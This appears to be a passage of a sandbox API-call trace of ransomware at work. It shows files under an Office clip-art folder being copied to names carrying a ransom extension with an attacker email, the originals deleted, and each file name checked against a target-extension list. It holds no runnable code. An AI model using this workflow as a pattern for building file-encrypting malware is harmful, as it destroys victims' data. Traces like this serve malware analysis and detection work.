	[0054.547] ReadFile (in: hFile=0x39c, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x332e, lpOverlapped=0x0) returned 1
	[0054.662] WriteFile (in: hFile=0x2e4, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0x3330, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0x3330, lpOverlapped=0x0) returned 1
	[0054.663] ReadFile (in: hFile=0x39c, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0054.663] WriteFile (in: hFile=0x2e4, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0054.663] SetEndOfFile (hFile=0x2e4) returned 1
	[0054.663] CloseHandle (hObject=0x2e4) returned 1
	[0054.664] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.664] SetEndOfFile (hFile=0x39c) returned 1
	[0054.665] CloseHandle (hObject=0x39c) returned 1
	[0054.665] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0054.665] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf")) returned 1
	[0054.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68
	[0054.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68
	[0054.666] lstrlenW (lpString=".doc") returned 4
	[0054.666] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0054.666] lstrlenW (lpString=".docx") returned 5
	[0054.666] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0054.666] lstrlenW (lpString=".pdf") returned 4
	[0054.666] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0054.666] lstrlenW (lpString=".xls") returned 4
	[0054.666] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0054.666] lstrlenW (lpString=".xlsx") returned 5
	[0054.666] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0054.666] lstrlenW (lpString=".ppt") returned 4
	[0054.666] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0054.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68
	[0054.666] lstrlenW (lpString=".zip") returned 4
	[0054.666] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0054.666] lstrlenW (lpString=".rar") returned 4
	[0054.666] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0054.666] lstrlenW (lpString=".bz2") returned 4
	[0054.666] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0054.666] lstrlenW (lpString=".7z") returned 3
	[0054.666] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0054.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68
	[0054.666] lstrlenW (lpString=".dbf") returned 4
	[0054.666] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0054.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68
	[0054.666] lstrlenW (lpString=".1cd") returned 4
	[0054.666] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0054.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68
	[0054.666] lstrlenW (lpString=".jpg") returned 4
	[0054.667] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0054.667] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.667] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0054.667] GetLastError () returned 0x0
	[0054.667] ReadFile (in: hFile=0x39c, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x2576, lpOverlapped=0x0) returned 1
	[0054.677] WriteFile (in: hFile=0x2e4, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0x2580, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0x2580, lpOverlapped=0x0) returned 1
	[0054.678] ReadFile (in: hFile=0x39c, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0054.678] WriteFile (in: hFile=0x2e4, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0054.678] SetEndOfFile (hFile=0x2e4) returned 1
	[0054.678] CloseHandle (hObject=0x2e4) returned 1
	[0054.679] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.679] SetEndOfFile (hFile=0x39c) returned 1
	[0054.680] CloseHandle (hObject=0x39c) returned 1
	[0054.680] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0054.680] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf")) returned 1
	[0054.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68
	[0054.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68
	[0054.681] lstrlenW (lpString=".doc") returned 4
	[0054.681] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0054.681] lstrlenW (lpString=".docx") returned 5
	[0054.681] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0054.681] lstrlenW (lpString=".pdf") returned 4
	[0054.681] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0054.681] lstrlenW (lpString=".xls") returned 4
	[0054.681] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0054.681] lstrlenW (lpString=".xlsx") returned 5
	[0054.681] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0054.681] lstrlenW (lpString=".ppt") returned 4
	[0054.681] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0054.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68
	[0054.681] lstrlenW (lpString=".zip") returned 4
	[0054.681] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0054.681] lstrlenW (lpString=".rar") returned 4
	[0054.681] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0054.681] lstrlenW (lpString=".bz2") returned 4
	[0054.681] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0054.681] lstrlenW (lpString=".7z") returned 3
	[0054.681] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0054.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68
	[0054.681] lstrlenW (lpString=".dbf") returned 4
	[0054.681] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0054.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68
	[0054.682] lstrlenW (lpString=".1cd") returned 4
	[0054.682] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0054.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68
	[0054.682] lstrlenW (lpString=".jpg") returned 4
	[0054.682] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0054.682] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.682] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.682] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0054.682] GetLastError () returned 0x0
	[0054.682] ReadFile (in: hFile=0x39c, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x2cec, lpOverlapped=0x0) returned 1
	[0054.685] WriteFile (in: hFile=0x2e4, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0x2cf0, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0x2cf0, lpOverlapped=0x0) returned 1
	[0054.686] ReadFile (in: hFile=0x39c, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0054.686] WriteFile (in: hFile=0x2e4, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0054.686] SetEndOfFile (hFile=0x2e4) returned 1
	[0054.686] CloseHandle (hObject=0x2e4) returned 1
	[0054.687] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.687] SetEndOfFile (hFile=0x39c) returned 1
	[0054.688] CloseHandle (hObject=0x39c) returned 1
	[0054.688] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0054.688] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf")) returned 1
	[0054.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68
	[0054.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68
	[0054.689] lstrlenW (lpString=".doc") returned 4
	[0054.689] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0054.689] lstrlenW (lpString=".docx") returned 5
	[0054.689] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0054.689] lstrlenW (lpString=".pdf") returned 4
	[0054.689] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0054.689] lstrlenW (lpString=".xls") returned 4
	[0054.689] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0054.689] lstrlenW (lpString=".xlsx") returned 5
	[0054.689] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0054.689] lstrlenW (lpString=".ppt") returned 4
	[0054.689] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0054.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68
	[0054.689] lstrlenW (lpString=".zip") returned 4
	[0054.689] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0054.689] lstrlenW (lpString=".rar") returned 4
	[0054.689] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0054.689] lstrlenW (lpString=".bz2") returned 4
	[0054.689] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0054.689] lstrlenW (lpString=".7z") returned 3
	[0054.690] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0054.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68
	[0054.690] lstrlenW (lpString=".dbf") returned 4
	[0054.690] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0054.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68
	[0054.690] lstrlenW (lpString=".1cd") returned 4
	[0054.690] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0054.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68
	[0054.690] lstrlenW (lpString=".jpg") returned 4
	[0054.690] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0054.690] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.690] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.690] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0054.690] GetLastError () returned 0x0
	[0054.690] ReadFile (in: hFile=0x39c, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x1138, lpOverlapped=0x0) returned 1
	[0054.692] WriteFile (in: hFile=0x2e4, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0x1140, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0x1140, lpOverlapped=0x0) returned 1
	[0054.693] ReadFile (in: hFile=0x39c, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0054.693] WriteFile (in: hFile=0x2e4, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0054.693] SetEndOfFile (hFile=0x2e4) returned 1
	[0054.693] CloseHandle (hObject=0x2e4) returned 1
	[0054.694] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.694] SetEndOfFile (hFile=0x39c) returned 1
	[0054.694] CloseHandle (hObject=0x39c) returned 1
	[0054.695] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0054.695] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf")) returned 1
	[0054.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68
	[0054.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68
	[0054.695] lstrlenW (lpString=".doc") returned 4
	[0054.695] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0054.695] lstrlenW (lpString=".docx") returned 5
	[0054.695] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0054.695] lstrlenW (lpString=".pdf") returned 4
	[0054.696] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0054.696] lstrlenW (lpString=".xls") returned 4
	[0054.696] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0054.696] lstrlenW (lpString=".xlsx") returned 5
	[0054.696] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0054.696] lstrlenW (lpString=".ppt") returned 4
	[0054.696] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0054.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68
	[0054.696] lstrlenW (lpString=".zip") returned 4
	[0054.696] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0054.696] lstrlenW (lpString=".rar") returned 4
	[0054.696] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0054.701] lstrlenW (lpString=".bz2") returned 4
	[0054.701] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0054.701] lstrlenW (lpString=".7z") returned 3
	[0054.701] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0054.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68
	[0054.701] lstrlenW (lpString=".dbf") returned 4
	[0054.701] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0054.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68
	[0054.701] lstrlenW (lpString=".1cd") returned 4
	[0054.701] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0054.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68
	[0054.701] lstrlenW (lpString=".jpg") returned 4
	[0054.701] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0054.702] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.702] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0054.703] GetLastError () returned 0x0
	[0054.703] ReadFile (in: hFile=0x39c, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x1870, lpOverlapped=0x0) returned 1
	[0054.714] WriteFile (in: hFile=0x2e4, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0x1880, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0x1880, lpOverlapped=0x0) returned 1
	[0054.715] ReadFile (in: hFile=0x39c, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0054.715] WriteFile (in: hFile=0x2e4, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0054.715] SetEndOfFile (hFile=0x2e4) returned 1
	[0054.715] CloseHandle (hObject=0x2e4) returned 1
	[0054.716] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.716] SetEndOfFile (hFile=0x39c) returned 1
	[0054.717] CloseHandle (hObject=0x39c) returned 1
	[0054.717] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0054.717] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf")) returned 1
	[0054.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68
	[0054.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68
	[0054.718] lstrlenW (lpString=".doc") returned 4
	[0054.718] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0054.718] lstrlenW (lpString=".docx") returned 5
	[0054.718] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0054.718] lstrlenW (lpString=".pdf") returned 4
	[0054.718] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0054.718] lstrlenW (lpString=".xls") returned 4
	[0054.718] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0054.718] lstrlenW (lpString=".xlsx") returned 5
	[0054.718] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0054.718] lstrlenW (lpString=".ppt") returned 4
	[0054.718] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0054.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68
	[0054.718] lstrlenW (lpString=".zip") returned 4
	[0054.718] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0054.718] lstrlenW (lpString=".rar") returned 4
	[0054.718] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0054.718] lstrlenW (lpString=".bz2") returned 4
	[0054.718] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0054.718] lstrlenW (lpString=".7z") returned 3
	[0054.718] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0054.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68
	[0054.718] lstrlenW (lpString=".dbf") returned 4
	[0054.718] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0054.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68
	[0054.718] lstrlenW (lpString=".1cd") returned 4
	[0054.718] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0054.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68
	[0054.719] lstrlenW (lpString=".jpg") returned 4
	[0054.719] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0054.719] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.719] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.719] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0054.720] GetLastError () returned 0x0
	[0054.720] ReadFile (in: hFile=0x39c, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0xeb8, lpOverlapped=0x0) returned 1
	[0055.456] WriteFile (in: hFile=0x2e4, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xec0, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec0, lpOverlapped=0x0) returned 1
	[0055.457] ReadFile (in: hFile=0x39c, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0055.457] WriteFile (in: hFile=0x2e4, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0055.457] SetEndOfFile (hFile=0x2e4) returned 1
	[0056.543] CloseHandle (hObject=0x2e4) returned 1
